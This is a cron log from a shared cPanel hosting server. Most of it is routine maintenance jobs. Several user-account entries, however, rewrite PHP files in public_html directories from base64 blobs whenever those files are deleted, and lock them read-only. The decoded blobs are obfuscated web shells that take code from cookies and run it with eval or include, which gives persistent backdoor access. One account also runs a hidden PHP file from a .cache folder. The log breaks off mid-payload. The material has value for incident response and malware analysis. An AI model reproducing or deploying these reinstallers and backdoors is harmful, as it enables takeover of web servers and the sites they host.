Mar  1 15:03:02 medusa CROND[6946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:03:02 medusa CROND[6947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:03:02 medusa CROND[6948]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:03:02 medusa CROND[6949]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:03:02 medusa CROND[6953]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:04:01 medusa CROND[30900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:04:01 medusa CROND[30926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:04:01 medusa CROND[31034]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:04:01 medusa CROND[31036]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:04:01 medusa CROND[31037]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:04:01 medusa CROND[31038]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:04:01 medusa CROND[31039]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:04:01 medusa CROND[31040]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:04:01 medusa CROND[31043]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:04:01 medusa CROND[31049]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:04:01 medusa CROND[31050]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:04:01 medusa CROND[31051]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:04:01 medusa CROND[31052]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:05:01 medusa CROND[23057]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:05:01 medusa CROND[23211]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 15:05:01 medusa CROND[23212]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:05:01 medusa CROND[23214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:05:01 medusa CROND[23215]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:05:01 medusa CROND[23213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:05:01 medusa CROND[23216]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23220]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:05:01 medusa CROND[23222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:05:01 medusa CROND[23217]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:05:01 medusa CROND[23226]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:05:01 medusa CROND[23227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:05:01 medusa CROND[23229]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:05:01 medusa CROND[23225]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:05:01 medusa CROND[23237]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23233]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23248]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:05:01 medusa CROND[23250]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:05:01 medusa CROND[23251]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3